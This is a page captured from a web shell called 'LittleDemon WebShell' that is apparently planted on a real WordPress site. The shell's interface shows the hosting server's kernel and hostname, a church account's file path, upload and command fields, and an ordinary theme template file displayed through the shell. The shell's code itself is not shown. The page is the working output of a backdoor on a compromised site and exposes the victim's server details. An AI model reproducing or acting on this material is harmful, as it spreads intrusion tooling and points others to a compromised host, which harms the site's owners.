LittleDemon WebShell


Linux webm007.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Path : /home/e/g/l/eglisebaa/www/wp-content/themes/hallelujah/
File Upload :
Command :
Current File : /home/e/g/l/eglisebaa/www/wp-content/themes/hallelujah/content-chess.php

<?php
/**
 * The Classic template to display the content
 *
 * Used for index/archive/search.
 *
 * @package WordPress
 * @subpackage HALLELUJAH
 * @since HALLELUJAH 1.0
 */

$hallelujah_template_args = get_query_var( 'hallelujah_template_args' );
if ( is_array( $hallelujah_template_args ) ) {
	$hallelujah_columns    = empty( $hallelujah_template_args['columns'] ) ? 1 : max( 1, min( 3, $hallelujah_template_args['columns'] ) );
	$hallelujah_blog_style = array( $hallelujah_template_args['type'], $hallelujah_columns );
} else {
	$hallelujah_blog_style = explode( '_', hallelujah_get_theme_option( 'blog_style' ) );
	$hallelujah_columns    = empty( $hallelujah_blog_style[1] ) ? 1 : max( 1, min( 3, $hallelujah_blog_style[1] ) );
}
$hallelujah_expanded    = ! hallelujah_sidebar_present() && hallelujah_is_on( hallelujah_get_theme_option( 'expand_content' ) );
$hallelujah_post_format = get_post_format();
$hallelujah_post_format = empty( $hallelujah_post_format ) ? 'standard' : str_replace( 'post-format-', '', $hallelujah_post_format );

?><article id="post-<?php the_ID(); ?>"	data-post-id="<?php the_ID(); ?>"
	<?php
	post_class(
		'post_item'
		. ' post_layout_chess'
		. ' post_layout_chess_' . esc_attr( $hallelujah_columns )
		. ' post_format_' . esc_attr( $hallelujah_post_format )
		. ( ! empty( $hallelujah_template_args['slider'] ) ? ' slider-slide swiper-slide' : '' )
	);
	hallelujah_add_blog_animation( $hallelujah_template_args );
	?>
>

	<?php
	// Add anchor
	if ( 1 == $hallelujah_columns && ! is_array( $hallelujah_template_args ) && shortcode_exists( 'trx_sc_anchor' ) ) {
		echo do_shortcode( '[trx_sc_anchor id="post_' . esc_attr( get_the_ID() ) . '" title="' . the_title_attribute(array( 'echo' => false )) . '" icon="' . esc_attr( hallelujah_get_post_icon() ) . '"]' );
	}

	// Sticky label
	if ( is_sticky() && ! is_paged() ) {
		?>
		<span class="post_label label_sticky"></span>
		<?php
	}

	// Featured image
	$hallelujah_hover = ! empty( $hallelujah_template_args['hover'] ) && ! hallelujah_is_inherit( $hallelujah_template_args['hover'] )
						? $hallelujah_template_args['hover']
						: hallelujah_get_theme_option( 'image_hover' );
	hallelujah_show_post_featured(
		array(
			'class'         => 1 == $hallelujah_columns && ! is_array( $hallelujah_template_args ) ? 'hallelujah-full-height' : '',
			'hover'         => $hallelujah_hover,
			'no_links'      => ! empty( $hallelujah_template_args['no_links'] ),
			'show_no_image' => true,
			'thumb_ratio'   => '1:1',
			'thumb_bg'      => true,
			'thumb_size'    => hallelujah_get_thumb_size(
				strpos( hallelujah_get_theme_option( 'body_style' ), 'full' ) !== false
										? ( 1 < $hallelujah_columns ? 'huge' : 'original' )
										: ( 2 < $hallelujah_columns ? 'big' : 'huge' )
			),
		)
	);

	?>
	<div class="post_inner"><div class="post_inner_content"><div class="post_header entry-header">
		<?php
			do_action( 'hallelujah_action_before_post_title' );

			// Post title
			if ( empty( $hallelujah_template_args['no_links'] ) ) {
				the_title( sprintf( '<h3 class="post_title entry-title"><a href="%s" rel="bookmark">', esc_url( get_permalink() ) ), '</a></h3>' );
			} else {
				the_title( '<h3 class="post_title entry-title">', '</h3>' );
			}

			do_action( 'hallelujah_action_before_post_meta' );

			// Post meta
			$hallelujah_components = ! empty( $hallelujah_template_args['meta_parts'] )
									? ( is_array( $hallelujah_template_args['meta_parts'] )
										? join( ',', $hallelujah_template_args['meta_parts'] )
										: $hallelujah_template_args['meta_parts']
										)
									: hallelujah_array_get_keys_by_value( hallelujah_get_theme_option( 'meta_parts' ) );
			$hallelujah_post_meta  = empty( $hallelujah_components ) || in_array( $hallelujah_hover, array( 'border', 'pull', 'slide', 'fade' ) )
										? ''
										: hallelujah_show_post_meta(
											apply_filters(
												'hallelujah_filter_post_meta_args', array(
													'components' => $hallelujah_components,
													'seo'  => false,
													'echo' => false,
												), $hallelujah_blog_style[0], $hallelujah_columns
											)
										);
			hallelujah_show_layout( $hallelujah_post_meta );
			?>
		</div><!-- .entry-header -->

		<div class="post_content entry-content">
			<?php
			// Post content area
			if ( empty( $hallelujah_template_args['hide_excerpt'] ) && hallelujah_get_theme_option( 'excerpt_length' ) > 0 ) {
				hallelujah_show_post_content( $hallelujah_template_args, '<div class="post_content_inner">', '</div>' );
			}
			// Post meta
			if ( in_array( $hallelujah_post_format, array( 'link', 'aside', 'status', 'quote' ) ) ) {
				hallelujah_show_layout( $hallelujah_post_meta );
			}
			// More button
			if ( empty( $hallelujah_template_args['no_links'] ) && ! in_array( $hallelujah_post_format, array( 'link', 'aside', 'status', 'quote' ) ) ) {
				hallelujah_show_post_more_link( $hallelujah_template_args, '<p>', '</p>' );
			}
			?>
		</div><!-- .entry-content -->

	</div></div><!-- .post_inner -->

</article><?php
// Need opening PHP-tag above, because <article> is a inline-block element (used as column)!

LittleDemon - FACEBOOK
[ KELUAR ]